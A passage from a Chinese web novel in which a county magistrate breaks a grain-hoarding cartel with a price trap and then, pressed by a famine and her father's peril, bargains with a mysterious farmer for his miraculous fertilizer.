“大人!”
他的声音里带着一丝颤抖。
“您听听外面的声音!百姓们快要活不下去了!我们……我们已经尽失民心了啊!求您收回成命吧!”
沈砚秋端坐案后,一言不发。
她的脸色苍白如纸,握着笔的手,因用力而指节泛青。
这些天,她何尝不是在烈火上煎熬?
她从小所受的教育,是为官一任,造福一方。
可现在,她却亲手将治下的百姓,推进了更深的深渊。
沈砚秋闭上眼,脑海中不受控制地浮现出江夜那副笃定又玩味的笑容。
“利字当头,必有勇夫。”
“等他们倾尽家财,把所有粮食都囤积在手里,做着粮价能涨到一千文一斗的美梦时……”
她再次睁眼时,那双布满血丝的凤眸里,所有的痛苦都已褪去,只剩下决绝。
她打开一张早已拟好的政令,拿起县令大印,盖在了政令的末尾!
“传我命令。”沈砚秋的声音沙哑,却带着不容置疑的威严,“将此令,贴满全城布告栏!”
“大人!”**还想再劝。
“执行命令!”沈砚秋厉声喝道。
**身子一震,看着她苍白却坚毅的侧脸,只能躬身领命:“是!”
一炷香后,清河县城内所有的布告栏前,都挤满了人群。
当衙役拿着政令过来时,所有人眼中带着最后一丝微弱的期盼。
或许……是朝廷的赈灾粮到了?
然而,当政令贴上,识字的人将内容念出来时,所有人的希望,瞬间化为齑粉。
“奉县令谕……清河缺粮,乃天灾所致,非人力可改……为稳市场,即日起,官府承认并维系高粮价,随行就市,任何人不得非议……”
布告栏下,所有人都愣住了。
官府不仅不抑制粮价,反而还要带头维护这**的高价?!
“啊——!”
有人发出了一声凄厉的嘶吼。
随即,更多绝望的声音此起彼伏。
“没活路了!没活路了啊!”
“狗官!这是要把我们往死路上逼啊!”
“我不活了!我跟你们拼了!”
积压了数日的绝望与愤怒,在这一刻彻底爆发。
人群像是疯了一样,有人嚎啕大哭,有人用头去撞墙,更有人双眼赤红,想要冲向县衙,却被衙役冰冷的刀锋逼退。
整个清河县,彻底沦为了一座绝望的炼狱。
政令上的消息,以最快的速度传遍了清河县的每一个角落,并向着四面八方扩散而去。
“听说了吗?清河县的粮价涨到八百文了!官府还贴告示说不管!”
“何止是不管,是官府带头涨价!”
“我的天,那里的百姓还活不活了?”
“活不了才好!咱们的粮食运过去,岂不是能卖出天价?”
短短数日之内,来自周边州、府、县的大量粮商,赶着一辆辆满载粮食的马车,涌入了清河县。
看着那飞涨到令人眼红心跳的粮价,看着那些为了半斗米
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就能卖儿卖女的饥民,这些外地粮商一个个喜上眉梢,眼中闪烁着贪婪的光芒。
他们加入了王胖子等人的行列,将运来的粮食囤积在仓库里,只放出极少的一部分吊着市场,共同等待着价格攀上一千文大斗的巅峰。
醉月轩内,酒过三巡。
王胖子红光满面,端着酒杯,对着满座的粮商,意气风发。
“哈哈哈,这清河县令真是个妙人啊!”
“谁说不是呢?这简直是把银子往我们口袋里送!”
“再等等,再捂几天!等粮价破了一千文,咱们就把这清河县的最后一滴油水都给它榨干!”
一群脑满肠肥的商人,发出肆无忌惮的哄笑。
在他们眼中,那个年轻的县令,不过是个被金钱蒙了心、又蠢又贪的工具罢了。
就在清河县的粮价终于突破九百五十文,距离一千文大关仅一步之遥时。
县衙那紧闭了数日的大门,缓缓打开了。
一身青色官袍的沈砚秋,面沉如水,一步步走了出来。
她的身后,是**,以及数十名手持水火棍、腰挎佩刀的衙役,神情肃杀。
所有人的目光,瞬间都聚焦在了她的身上。
她想干什么?
在无数或惊疑、或憎恨的目光下,沈砚秋走到了县衙门口的石阶之上。
她环视着街道上那些衣衫褴褛、形容枯槁的百姓,那双曾经被怒火与痛苦填满的凤眸,此刻只剩下决然。
她抬起手,声音清晰地传入了每个人的耳中。
“开仓!放粮!”
话音落下的瞬间,县衙左右两侧的角门同时大开。
一队队衙役,推着一辆辆装满了金黄色谷物的板车,从门内鱼贯而出。
与此同时,城东、城西、城南、城北,数十个交通要道处,早已待命的衙役们同时行动起来,迅速搭建起一个个简易的售粮点。
一张张巨大的红纸被贴了上去,上面用最粗的墨迹,写着龙飞凤凤舞的几个大字。
“平价粮,每斗,一百五十文!”
当粮点前竖起的木牌上,公布出今日售粮价格的那一刻。
整个县城,陷入了死一般的寂静。
第193章 沈青天
街道上成百上千的百姓,一个个僵在原地,脸上满是呆滞与茫然。
前几日还是八百文,九百文,今日,一百五十文?
是不是饿得太久,饿出了幻觉?
一个读过几天书的货郎,下意识地揉了揉眼睛:“一……一百五十文?”
这个价格,比之前最低的时候还要低!
这怎么可能?
一个头发花白的老人颤抖着嘴唇,他抓住旁边衙役的袖子:“官爷……这……这上面写的,是真的吗?”
那衙役挺直了胸膛,脸上是前所未有的自豪与骄傲,他清了清嗓子:“是真的!县尊大人有令!开仓放粮,平抑粮价!今日粮价,一百五十文一斗!管够!”
话音落下,人群沸腾起来。
“一百五十文!是真的!官府真的平价卖粮了!”
“快!快回家拿钱!拿口袋!”
无数百姓疯了一样,有人转身就往家里跑,有人激动得涕泪横流,直接跪倒在地,朝着县衙的方向,磕起了响头。
“沈青天!您是活菩萨!是我们的再生父母啊!”
“草民有眼不识泰山,前几日还咒骂大人,草民该死!草民给大人赔罪了!”
“沈大人万岁!沈青天啊!”
百姓们将积压了无数个日夜的绝望与痛苦,尽数化作了对这位县令大人的无尽感激。
街道上,那些跪倒在地的百姓,对着县衙的方向不停地磕头,额头磕破了渗出血迹也浑然不觉。
**站在沈砚秋身后,听着那一声声发自肺腑的“沈青天”,只觉得一股热血直冲头顶。
他激动得浑身发抖,看向自家大人的背影时,目光中充满了敬佩。
他家大人,不惜背负骂名,也要为百姓争一线生机!
沈砚秋静静地站着,任由那冰冷的风吹动她的官袍。
看着那些喜极而泣的百姓,苍白的脸上,有了一丝血色,眼底也有些湿意。
这一局,她赌赢了。
……
醉月轩,雅间内。
王胖子喝得满面红光,正举着酒杯,对着几个从外地赶来的大粮商吹嘘。
“几位老板,现在粮价九百五,依我看,明日便能破了一千文,这清河县的银子,很快就会像流水一样到我们的钱袋子里!”
“要不是王老板运筹帷幄,我们哪有这发财的机会!”
“来来来,我们敬王老板一杯!”
一群人推杯换盏,得意忘形的哄笑声充斥着整个包厢。
就在这时,窗外忽然传来一阵地动山摇般的呼喊声。
“沈青天!沈青天!”
那声音整齐划一,气势如虹。
雅间内的笑声戛然而止。
王胖子端着酒杯的手一顿,脸上的笑容瞬间凝固。
“什么动静?”一个外地粮商皱眉问道。
王胖子心里咯噔一下,一股不祥的预感涌上心头。
他猛地放下酒杯,冲到窗边,一把推开窗户。
只一眼,他脸上的血色便褪得一干二净。
街道上,人头攒动,黑压压的一片,全都疯了似的朝着几个方向涌去。
无数百姓跪在地上,朝着县衙的方向磕头,嘴里高喊着“沈青天”。
而在那些人群汇集之处,赫然立着一个个官府的售粮点,木牌上“每斗一百五十文”的字样。
王胖子一口老血差点喷出来。
他中计了!
那个姓沈的黄毛小子,从头到尾都在演戏!
什么合作,什么分三成利润,全都是为了引他们入瓮!
“王……王老板,这……这是怎么回事?”
身后的粮商们也凑了过来,看到外面的景象,一个个吓得魂飞魄散,手里的酒杯掉在地上。
雅间内的气氛,瞬间凝重到了极点。
“完了……全完了……”一个粮商面如死灰,一屁股瘫坐在地上。
一百五十文一斗!
这个价格,比他们从乡下收粮的成本价还要低!
“慌什么!”
王胖子猛地回头,那张肥脸因为愤怒而扭曲,显得格外狰狞。
他强作镇定,咬牙切齿:“这姓沈的在虚张声势!”
“你们用脑子想想!一个小小的清河县,连赈灾粮都发不下来,府库早就空了!
他哪来这么多粮食?这一定是他最后的手段,把府库里仅剩的一点底子全都拿出来,想用低价把我们吓住,逼我们降价!”
听到这番话,那些原本已经绝望的粮商,眼中重新燃起
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了希望。
“对……对啊!王老板说得有道理!”
“他肯定没多少粮!撑不了几天的!”
“只要我们扛住不降价,等他的粮食卖完了,这清河县的粮市,还是我们说了算!”
王胖子眼中闪过一丝狠厉:“没错!我们现在是一条绳上的蚂蚱!谁要是敢先降价,就是我们所有人的敌人!我们联合起来,死扛到底!我倒要看看,他那点粮食,能撑几天!”
“好!就听王老板的!跟他耗到底!”
一群人仿佛又找到了主心骨,纷纷咬牙附和。
他们已经投入了全部身家,现在收手就是血本无归,只能选择一条路走到黑。
然而,他们把一切都想得太美好了。
第一天,县衙的售粮点前,队伍排得像一条条长龙,从街头排到街尾。
官府的粮食,像流水一样卖了出去。
第二天,售粮点前的队伍丝毫不见减少,金黄色的谷米依旧源源不断地从仓库里运出来,供应从未中断。
粮商们的冷笑,开始变得有些僵硬。
时间一天天过去,县衙的售粮点仿佛成了一个无底洞,无论多少百姓前来购买,那米粮都像是无穷无尽一般,永远也卖不完。
城中百姓家家户户都存上了足够吃上几个月的平价粮,脸上重新洋溢起了笑容。
而粮商们的希望,就在这日复一日的等待中,被无情地碾碎。
他们囤积在仓库里的粮食,堆积如山,却无人问津。
那些曾经被他们视若珍宝,能换来万贯家财的粮食,如今成了烫手的山芋。
白花花的银子,彻底变成了一堆卖不出去的霉谷子,每天都在亏损着仓储和人力的费用。
终于,在第某天夜里。
一个从隔壁州府跑来发灾难财的外地粮商,再也扛不住了。
他看着自己花了大半家当运来的几大车粮食,再想到家中等着的老婆孩子,心一横。
趁着夜深人静,他偷偷摸摸地打开自家粮铺的门,取下一块木板,在上面写下了新的价格。
每斗,一百四十文。
他要赶在其他人反应过来之前,不计成本地把手里的粮食全抛出去,能收回一点本钱是一点!
第194章 真正的危机
粮商降价的消息,一夜之间传遍了每一个囤积居奇的商户耳朵里。
“什么?张三那孙子一百四就卖了?”
“**,他想跑,我们也不能等死!”
“快!开仓!我们卖一百三十五文!”
恐慌如同瘟疫,迅速蔓延。
第二天清晨,当百姓们还在为官府一百五十文的平价粮而感恩戴德时,却惊愕地发现,那些前几天还把下巴抬到天上去的粮铺,竟然挂出了比官府更低的价格。
“一百三十文!走过路过不要错过!上好的白米一百三十文一斗!”
“都来我这儿!一百二十五文!我亏本卖了!”
“一百二十文!谁比我低!”
粮商们杀红了眼,为了能尽快将手里的粮食脱手,价格一降再降,从一百三十文,到一百二十文,再到一百一十文……
不过短短两日,清河县的粮价便一泻千里,彻底崩盘。
最终,价格稳定在了九十文一斗上。
这个价格,甚至比旱灾来临之前还要低上不少。
……
县衙,书房内。
一名衙役冲进书房,对着沈砚秋便是一个大揖。
“大人!大人!大喜啊!”
“粮价崩了!全崩了!现在市面上最低的只要八十文一斗!那些粮商哭爹喊娘,有的把裤子都亏掉了!”
衙役手舞足蹈地汇报着外面的盛况,“大人您真是计策通神,用兵如神!不费一兵一卒,就让这群奸商自取灭亡!您就是咱们清河县的救世主啊!”
沈砚秋静静地听着,脸上却不见半分喜悦。
计策通神?
她脑海里不由自主地浮现出那个男人的脸。
还有那句轻佻又无耻的话。
“什么时候想通了,什么时候带你妹妹来找我。”
这个计策的每一步,都在他的预料之中,分毫不差。
而自己,不过是个执行者罢了。
一旁的**,听着衙役的汇报,一张平日里严肃的脸庞涨成了猪肝色,头几乎要埋进胸口里。
他想起了自己当初是如**誓旦旦地劝谏大人,如何质疑江夜的计策太过冒险,会尽失民心。
可如今的结果,却像一个响亮的耳光,狠狠地抽在他的脸上。
他满心羞愧,等到那名衙役兴奋地退下后,**上前一步,对着沈砚秋的背影,深深地弯下了腰。
“大人,属下……有罪。”
他的声音沙哑,充满了懊悔与敬佩。
“属下目光短浅,有眼不识泰山,险些误了您的大计。江先生……江先生实乃经天纬地之才,属下……心服口服。”
这是他第一次,发自内心地用“先生”二字来称呼那个看似玩世不恭的乡野村夫。
然而,沈砚秋却没有说话,只是缓缓转过身,脸上丝毫没有胜利的喜悦,忧虑之色反而比之前任何时候都要深。
“高兴得太早了。”
沈砚秋走到窗边,看着外面恢复了生气的街道,声音却带着一丝寒意。
“这只是暂时的。”
**一愣:“大人,此话怎讲?如今粮价已稳,奸商已除,百姓人人有粮,这……这难道不是大获全胜吗?”
“大获全胜?”沈砚秋摇了摇头,眸光深远,“**,你以为我们凭什么能赢?”
“凭……凭江先生的粮食?”
“没错。”沈砚秋的声音透着一股疲惫,“我们是赢了,可我们赢的底气,是江先生那不知从何而来的数万石粮食。可你想过没有,他的粮食,终究是有限的。”
她顿了顿,声音愈发凝重。
“一旦他的粮食耗尽,我们拿什么来维持这八十文一斗的粮价?那些亏得血本无归的粮商,甚至外地的粮商,会眼睁睁看着清河县这块肥肉溜走吗?”
“他们只会等我们的粮食卖完,然后更贪婪的卷土重来。
到了那时,粮价
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的反弹将远超想象,可能会涨到一千文,甚至更多!到那个时候,百姓们才会陷入真正的绝望!”
**脸上的兴奋在这一瞬间褪得干干净净,取而代之的,是彻骨的寒意。
他只看到了眼前的胜利,却从未想过这胜利背后,竟然还隐藏着如此可怕的危机。
他张了张嘴,却一个字也说不出来,后背已然被冷汗浸透。
沈砚秋的目光,越过县衙的屋檐,投向了遥远的稻花村方向。
她仿佛又看到了那片在冻土上顽强生长的绿色海洋,那匪夷所思的勃勃生机。
她喃喃自语,声音轻得几乎只有自己能听见。
“唯一的生路,还得是‘神肥’。”
就在这时,一阵急促的脚步声打断了书房内的寂静。
“报——!”
一名风尘仆仆的信使冲了进来,他手持一封用火漆封口的信件,高高举过头顶,“江临郡八百里加急!”
**心头一凛,连忙上前接过信件,确认无误后,恭敬地呈给沈砚秋。
“大人,是郡守大人的信。”
沈砚秋接过信,拆开火漆,抽出信纸,目光迅速在信纸上扫过。
信上的字迹,是父亲的笔迹,
信中,沈秉钧用最简短的笔墨,描述了整个江临郡的惨状。
春荒比想象中来得更猛烈。
不止清河县,整个江临郡下辖的七个县,都出现了大规模的春荒,郡城的存粮也岌岌可危,民乱已在爆发的边缘。
而信的末尾,父亲对她之前信中提到的“神肥”和“江先生”,下达了命令。
“……此‘神肥’若真有逆天改命之效,便是我江临郡百万生民之唯一生机。为父命你,不惜一切代价,务必从‘江先生’手中,求得此法!”
“不惜……一切代价……”
沈砚秋看着这六个字,捏着信纸的手指,不自觉地收紧,将信纸捏得微微发皱。
第195章 谁是猎物
沈砚秋闭上眼,脑海中再次浮现出江夜那张似笑非笑的脸,以及那句轻佻至极的话。
“什么时候想通了,什么时候带你妹妹来找我。”
仅仅只是回想,一股羞愤就猛地冲上了脸颊,让她耳根都烧了起来。
她堂堂朝廷命官,清河县令,如今竟要为了求取一法,而向一个乡野村夫出卖色相?
可父亲信中已经说明,整个江临郡都已陷入春荒,民乱一触即发,百万生民危在旦夕。
与这百万生民的性命相比,她个人的荣辱,又算得了什么?
羞愤与责任,在她心中疯狂地撕扯。
良久,书房内的烛火轻轻摇曳了一下,沈砚秋终于睁开了眼。
那双凤眸中的所有挣扎都已褪去,只剩下破釜沉舟般的决绝。
她转过身,看向一直垂首侍立的**。
“**。”
“属下在。”
“你即刻去城中,秘密寻访一个女子。”沈砚秋的声音听不出任何情绪,“要求……身形与我相仿,容貌,有七分相似即可。”
**猛地抬起头,满脸都是愕然与不解:“大人?您……您这是要做什么?”
沈砚秋淡淡地看了他一眼:“不该问的别问,按我说的去做。此事要快,且务必隐秘,不可让任何人知晓。”
**心中一凝,随即他不再多问,他重重一抱拳,躬身领命:“是!属下遵命!”
说完,他转身快步离去,身影很快消失在夜色中。
与此同时,清河县最大的酒楼,醉月轩的雅间内。
“哐当!”
一只上好的官窑瓷杯被狠狠砸在地上,瞬间四分五裂,名贵的茶水混着碎片溅得到处都是。
王胖子那张肥硕的脸因极度的愤怒而扭曲,胸膛剧烈起伏。
“沈砚秋!**你祖宗!”
他双目赤红,状若疯魔。
雅间内的其他粮商,一个个面如死灰,瘫坐在椅子上,仿佛被抽走了所有的精气神。
完了。
全完了。
他们做梦也想不到,自己竟然被那个看起来乳臭未干的黄毛小子耍得团团转。
什么合作,什么三成利润,全都是诱饵!
他们倾尽家财,甚至不惜借了**囤积起来的粮食,如今成了压在手里的催命符。
“我……我家里还有八十老母,嗷嗷待哺的孩儿啊……这可怎么办啊……”一个外地来的粮商捂着脸,发出了绝望的呜咽。
“那姓沈的就是个魔鬼!他把我们骗进来,就是为了把我们一口吞掉!”
“报官!我们去州府告他!告他恶意扰乱市价!”
“告个屁!”王胖子猛地回头,一脚踹翻了身边的椅子,咆哮道,“我们哄抬粮价,哪一条不是杀头的罪?去告官?是嫌死得不够快吗!”
这一声吼,让雅间内瞬间安静下来。
是啊,他们自己屁股底下就不干净,怎么去告官?
王胖子喘着粗气,在雅间内来回踱步,脸上的肥肉不断颤抖。
他越想越觉得不对劲。
“不对!”他猛地停下脚步,眼里闪烁着一丝困惑与狠厉,“这事有蹊跷!他姓沈的不过是个小小的七品县令,清河县的府库早就空了,他哪来这么多粮食?!”
“他卖了半个多月了!每天都跟流水一样往外卖,那粮食就跟从地里冒出来的一样,无穷无尽!这绝不可能!”
王胖子的话,让所有粮商都愣住了。
对啊!
他们之前只顾着恐慌和愤怒,却忽略了这个最根本的问题!
一个穷县,怎么可能凭空变出这么多粮食来?!
“王老板说得对!这背后一定有鬼!”
“肯定是有人在背后给他撑腰,给他供粮!”
“查!一定要把这个人查出来!断了他的粮源,我看他沈砚秋还拿什么跟我们斗!”
绝望的众人,眼中重新燃起了凶光。
王胖子眼中闪过一丝阴狠,他咬着牙道:“光查有什么用?我们现在要找的,是能把我们从这泥潭里拉出来的人!在清河县,能跟县令掰手腕的,只有一个人!”
众人瞬间会意,异口同声地吐出一个名字:“县尉,庞大人
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!”
“我们亏了,他投进来的银子,也一样打了水漂!他比我们更着急!”
“走!我们去找庞大人!”
王胖子一挥手,一群人浩浩荡荡地朝着县尉府涌去。
县尉府,书房。
庞戍听着王胖子等人的哭诉,一张脸阴沉得几乎能滴出水来。
这一次,他不仅动用了自己多年的积蓄,还暗中挪用了县里武库的一部分款项,全都投进了这场豪赌。
本以为能借着这场天灾,赚个盆满钵满,甚至为日后的晋升铺平道路。
结果,沈砚秋这个不知从哪冒出来的黄毛小子,一记釜底抽薪,让他亏得血本无归!
那可是他十几年来搜刮民脂民膏,才攒下的家底!
“砰!”
他一拳狠狠砸在面前名贵的梨花木书桌上。
桌上的茶杯被震得跳起,摔在地上,应声而碎。
那声巨响,吓得王胖子等一众粮商噤若寒蝉,一个个低着头,连大气都不敢喘。
书房内,只有庞戍那粗重的呼吸声。
过了许久,庞戍才缓缓抬起头,眼神犹如毒蛇般阴冷。
沈砚秋的粮食来路不明,数量太过庞大,这根本不是一个县令能拥有的能量。
他盯着王胖子,声音沙哑地问:“他的粮食,像是无穷无尽?”
“千真万确!”王胖子连忙点头,“小人派人盯了十天,城里几十个粮点,就没断过一天粮!那粮食,就像是……就像是凭空变出来的一样!”
“凭空变出来的?”庞戍冷笑一声,眼中闪过一丝贪婪的寒光,“这世上,就没有凭空变出来的东西。”
他对站在身后的心腹使了个眼色,冷冷下令。
“把那个姓沈的,还有他身边所有人的底细,都给我翻个底朝天。”
“我倒要看看,他的粮仓,到底连着哪路神仙的洞府!不管是人是鬼,都给我揪出来!”
“是!”心腹躬身领命,悄无声息地退了出去。
庞戍缓缓靠在椅背上,手指有节奏地敲击着桌面,眼中闪烁着危险的光芒。
第196章 这些你都不满意?
翌日,天刚蒙蒙亮。
一辆不起眼的青布马车,悄无声息地驶出了清河县城,朝着稻花村的方向行去。
车厢内,沈砚秋端坐着,一身寻常的男子便服,却掩不住那一身清冷孤傲的气质。
她的目光落在对面那个低着头的女子身上,心中五味杂陈。
这女子是**花了一夜时间,从教坊司里寻来的,身世清白,只是家道中落才沦落风尘。
容貌确有几分与她相似,尤其是那双眼睛。
为了让她看起来更像个大家闺秀,沈砚秋还特意让她换上了一身素雅的衣裳。
可每多看一眼,沈砚秋便觉得脸上烧得慌。
她自幼饱读圣贤书,以匡扶社稷为己任,何曾想过有一天,会用上这等腌臢手段,去讨好一个男人?
可一想到父亲信中那“不惜一切代价”的字眼,一想到江临郡嗷嗷待哺的百万生民,她便只能将所有的情绪死死压在心底。
与这百万生民的性命相比,她个人的荣辱,又算得了什么?
终于马车在稻花村村口停下,沈砚秋深吸一口气,压下所有情绪,带着那女子,一步步走向江家院落。
……
江家院中,一派祥和安宁。
江夜斜躺在院中那张宽大的摇椅上,双目微阖,悠然自得。
不远处,慕容晴正兴致勃勃地跟林间雪比划着什么,似乎在说腹中胎儿的动静,两人不时发出一阵轻笑。
而另一边,白梦夏和白梦秋姐妹俩,正拿着剪刀,小心翼翼地修剪着花圃里的枝叶,她们腹部高高隆起,身形愈发丰腴,脸上洋溢着幸福而温柔的光晕。
整个院子,都弥漫着一种温馨到让人懒散的氛围。
“东家,县尊大人求见。”护院在院门口轻声通报。
江夜眼皮都未曾抬一下,只是懒洋洋地挥了挥手,示意人进来。
沈砚秋领着那女子,踏入院门。
当她看到院中这幅景象时,脚步不由得一顿。
那四个女子,或明艳,或温婉,或娇俏,或妩媚,个个都是人间绝色,且眉宇间都带着一种发自内心的满足与安宁。
而那个被众美环绕的男人,此刻神情惬意得仿佛天塌下来都与他无关。
一股难以言喻的羞愤猛地涌上心头。
她为了治下的百姓奔波劳碌,心力交瘁,而这个男人,却在这里坐享温香软玉,逍遥快活!
沈砚秋强压下心头的怒火,领着女子走到江夜面前,声音有些僵硬。
“江先生,这是……家中小妹,特来拜见。”
听到这话,江夜的目光终于从几女身上移开,慢悠悠地落在了沈砚秋的脸上。
他在她那张因羞愤而泛着红晕的俏脸上扫了一眼,嘴角勾起一抹玩味的笑。
“哦?沈大人的妹妹?”
他的目光像是在打量一件货物,充满了审视与戏谑。
“怎么看着……一点也不像。沈大人你英气逼人,这位姑娘却怯生生的,看着不像一家人啊。”
那女子本就紧张,**夜的目光这么一扫,更是吓得浑身一抖,下意识地就往沈砚秋身后缩了半步,几乎要哭出来。
这个动作,让场面愈发尴尬。
沈砚秋藏在袖中的拳头,捏得咯咯作响,指甲几乎要嵌进掌心肉里。
江夜仿佛没看见,他端起旁边石桌上的茶杯,轻轻吹了吹热气,又慢条斯理地放下。
“这妹妹,我看不上。”他轻笑一声,语气平淡,“沈大人还是带回去吧。”
说完,他转过头,仿佛刚才什么都没发生过一样,继续看着不远处的白梦夏姐妹俩说笑,眼神温柔宠溺,直接将沈砚秋和她带来的“妹妹”当成了空气。
沈砚秋只觉得一股血气直冲头顶,几乎要喘不过气来。
她死死瞪着江夜那悠闲的背影,恨不得在他身上剜出两个窟窿来。
可她一个字都说不出来。
在这里多待一秒,都是煎熬。
沈砚秋猛地一甩袖子,转身便走,脚步又急又乱。
那个快要哭出来的女子,也连忙提着裙角,狼狈地跟在她身后,逃也似的离开了这个让她无地自容的院子。
……
接下来的几天,沈砚秋像是魔怔了一般。
她不相信这世上还有不爱美色的男人。
江夜第一次的拒绝,在她看来,不过是欲擒故纵,想要抬高价码罢了。
于是,第二天,她又来了。
这一次,她带来的是从清河县最
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有名的青楼里请出的头牌,身段妖娆,风情万种,一颦一笑都能勾走男人的魂。
女子莲步轻移,对着江夜抛了个媚眼,声音酥得能滴出水来:“江先生,奴家……”
江夜躺在摇椅上,连眼睛都没睁,只是不耐烦地皱了皱眉,挥了挥手。
“太香了。”他淡淡地说道,“这股劣质的脂粉味,熏得我头疼。带走。”
那头牌脸上的媚笑瞬间僵住,变得青一阵白一阵。
沈砚秋的脸,又黑了一层。
第三天,沈砚秋换了个路数。
她找来一位颇有才名的前朝官宦之女,此女虽容貌清秀,但琴棋书画样样精通,气质清冷如兰。
女子在院中设下古琴,纤纤玉指拨动琴弦,一曲《高山流水》意境悠远。
一曲弹罢,女子起身,自信满满地看向江夜,等着他的赞赏。
谁知,江夜打了个哈欠,揉了揉眼睛。
“吵**。”他嘟囔了一句,翻了个身,背对着她们,“我喜欢安静。”
那才女脸色瞬间惨白,抱着自己的古琴,几乎是哭着跑出去的。
沈砚秋站在原地,感觉自己的耐心正在被一点点碾碎,她死死地盯着江夜,声音因为极度的压抑而微微颤抖。
“江夜!这些你都不满意?”
她终于撕下了所有伪装,连“江先生”的称呼都省了,直呼其名。
江夜脸上的玩味和慵懒尽数褪去,取而代之的是一种居高临下的审视。
“沈大人,你送来的这些庸脂俗粉,是在侮辱我?”
他的声音像一记重锤,狠狠砸在沈砚秋的心上。
沈砚秋的嘴唇翕动着,却发不出任何声音。
江夜站起身,缓步走到她的面前,两人相距不过三尺。
他比女扮男装的沈砚秋高出大半个头,那股无形的压迫感,让她几乎喘不过气来。
“我的话,从一开始就说得很清楚。”
江夜的目光落在她那张因愤怒和**而更显生动的脸上,嘴角勾起一抹冷冽的弧度。
“我要的是你的妹妹。不是这些从窑子里、戏班子里、或是随便哪个犄角旮旯里找来的货色。”
江夜的脸上不耐的神色让沈砚秋的心狠狠一沉。
第197章 最后的疯狂
县衙,书房。
烛火在寂静中摇曳,将沈砚秋的影子拉得又细又长。
脑海里,挥之不去的,是昨日那个才女抱着古琴,哭着跑出江家院子的狼狈身影。
风情万种的,他嫌俗。
清冷如兰的,他嫌无趣。
站在一旁的**,看着自家大人那张苍白得没有一丝血色的脸,心中又痛又急。
这几日,大**眼可见地憔悴下去,看得他心如刀绞。
他几次想开口劝慰,却又不知从何说起。
就在这压抑得让人窒息的寂静中,一阵急促的脚步声由远及近。
“大人!!”
一名心腹信使冲了进来,他满头大汗,双手高高举着一封用火漆死死封口的信件:“江……江临郡!八百里绝密加急!”
“绝密加急”四个字,让**心头猛地一跳,一个箭步上前夺过信件,递到沈砚秋面前。
沈砚秋抬起眼,那双漂亮的凤眸里此刻只剩下深不见底的疲惫和麻木。
从**手中接过信件,沈砚秋立刻打开。
字迹一如既往的苍劲有力。
信上的内容,比她预想的最坏情况,还要坏上十倍。
春荒,已经不是星星之火,而是燎原之势,在整个江临郡彻底引爆。
这还不是最致命的。
更致命的是,朝堂之上,父亲的政敌早已磨好了刀,就等着这个机会。
他们以“治下无方,致使民乱四起”为由,发起了**。
奏章如雪片般飞向京城,字字句句,都是要将父亲置于死地。
信中写道:“……为父已是风中残烛,人头落地,只在旦夕之间……”
沈砚秋的呼吸骤然停滞。
她仿佛能看到父亲在郡守府的书房内,写下这封信时,那张儒雅的脸上是何等的悲凉与无助。
“……砚秋我儿,为父已无退路,沈家百年清誉与满门性命,皆系于你一人之身!务必,不惜一切代价,从那江先生手中,求得神肥之法!否则,你我父女,黄泉再见!沈家满门,万劫不复!”
万劫不复!
“哐当——”
沈砚秋手中的信纸飘然滑落,她捏着信纸的手指因为过度用力而僵硬发白,整个人像是被抽走了所有力气,险些从椅子上摔倒。
前所未有的绝望与无力感,瞬间将她从头到脚彻底淹没。
一边是嗷嗷待哺的数十万百姓,一边是极有可能被满门抄斩的家人,两座大山,死死地压在她的肩上,让她连喘息都觉得奢侈。
而能救所有人的那根稻草,却握在那个反复羞辱她的男人手中。
“大人!”
**见状,连忙上前一步扶住她摇摇欲坠的身体,眼中满是惊骇与担忧。
他看到了掉在地上的信,看到了那句人头落地,看到了那句万劫不复,瞬间明白了事情的严重性。
看着自家大人失魂落魄、仿佛灵魂都被抽离的样子,一股压抑了许久的戾气与杀意,猛地从**心底窜了上来。
他扶着沈砚秋,凑到她耳边,声音带着一股狠厉。
“大人,既然他不仁,就别怪我们不义!”
“那江夜再厉害,也不过是个乡野村夫!他手下那些护院看着能打,但我们县衙集结所有衙役、兵丁,足有数百号人!趁着夜深人静,深夜突袭稻花村,将他一举拿下!”
**的眼中闪烁着嗜血的光芒,声音愈发阴狠:“只要将他绑来县衙大牢,十八般酷刑轮番伺候,还怕他不开口吗?到了那时,什么神肥秘法,还不都是您一句话的事!”
这番话,带着致命的诱惑。
沈砚秋猛地抬起头,那双失神的凤眸之中,瞬间闪过一丝剧烈的挣扎。
是啊……抢过来!
将他抓起来,用尽所有手段,逼他交出秘法!
这个念头一生起,就像疯长的藤蔓,瞬间缠住了她的心脏。
可就在这一瞬间,她的脑海中,不受控制地浮现出江夜那深不可测的眼神,以及……他手下那些战力恐怖的护院。
沈砚秋打了
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个寒颤,她瞬间清醒过来。
不,强抢只能是主动送死!
**的计划看似可行,但她有一种强烈的直觉,一旦自己真的那么做了,绝对不可能成功。
不仅不会成功,反而会彻底激怒他,将整个清河县,连同自己和沈家,彻底拖入万劫不复的深渊!
“绝对不行。”
她缓缓摇头,推开**的手,重新坐直了身体,只是那挺直的背影,说不出的萧瑟与凄凉。
“**,你太小看他了。我们若是动手,死的……只会是我们。”
**愣住了,他不明白,为何大人对那个乡野村夫,竟畏惧到了如此地地步。
沈砚秋没有再解释。
她闭上了凤眸,脑海中出现的,是父亲的那封求助信,街边饥民绝望哭嚎的脸,还有江夜那张带着玩味与戏谑的笑脸……
三张脸,在她脑海里反复交织,疯狂地撕扯着她最后一丝理智。
到底该怎么办?
“我要的是你的妹妹……”
江夜那句轻佻的话,又一次在她耳边响起。
时间一点一滴地流逝,不知道过了多久,久到**差点以为自家大人已经睡着了。
沈砚秋猛地睁开了眼。
那一瞬间,她那双漂亮的凤眸之中,所有的挣扎全都消失不见。
取而代之的,是破釜沉舟般的决绝。
她缓缓站起身,一步一步,走到了书房角落里那面磨得有些模糊的铜镜前。
镜子里,映出一张美得雌雄莫辨的脸。
剑眉星目,鼻梁高挺,因为连日的操劳而显得有些憔悴,却依旧难掩那股逼人的英气与绝色的底子。
“妹妹……”
她伸出手,指尖冰凉,轻轻抚过镜中自己的脸颊轮廓。
一个疯狂的念头,彻底占据了她的全部心神。
找来的那些庸脂俗粉,他一个都看不上。
既然如此……那就由她来好了。
沈砚秋看着镜中的自己,嘴角,缓缓勾起一抹决绝的弧度。
第198章 妹妹来了
翌日,天色刚透出鱼肚白。
一辆青布马车,在稻花村村口的老槐树下停稳。
车帘被一只素白的手掀开,沈砚秋独自一人下了车。
她换下了一身官袍,穿上了一袭淡雅的月白色罗裙。
三千青丝不再束冠,而是如一道乌黑的瀑布,柔顺地披散在身后,只用一根简单的碧玉簪子松松挽住。
那张平日里总是带着几分疏离与英气的脸,此刻未施半点粉黛,却在晨光熹微中,美得惊心动魄。
